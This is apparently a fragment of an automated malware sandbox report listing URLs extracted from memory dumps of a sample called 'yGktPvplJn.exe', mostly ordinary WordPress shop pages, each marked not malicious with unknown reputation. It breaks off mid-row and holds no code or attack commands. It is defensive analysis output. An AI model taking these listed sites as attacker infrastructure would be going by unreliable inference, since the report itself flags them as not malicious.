http://www.elpro.si/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.stnic.co.uk/product-category/culture/sport/	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.elpro.si/wp-content/plugins/mailchimp-for-woocommerce/public/js/mailchimp-woocommerce-pub	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.elpro.si/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles.css?ver=4.6	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.stnic.co.uk/wp-content/themes/outstock/js/autoGrid.min.js?ver=6.6.2	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://aevga.com/wp-content/themes/oldhaven/css/custom-class.css?ver=1.5	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.elpro.si/moj-racun/lost-password/	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.stnic.co.uk/delivery-and-returns/	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.stnic.co.uk/product-category/christmas/traditional-shapes/	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://aevga.com/wp-content/themes/oldhaven/images/favicon.ico	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.google.com/recaptcha/api.js?render=6LdeMu0ZAAAAAFtmpTrTqJfRdq-yIJmXMOBmYWGU&ver=3.0	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://aevga.com/wp-content/fonts/poppins/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2)	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.instagram.com/baijaku_nakamura/	yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 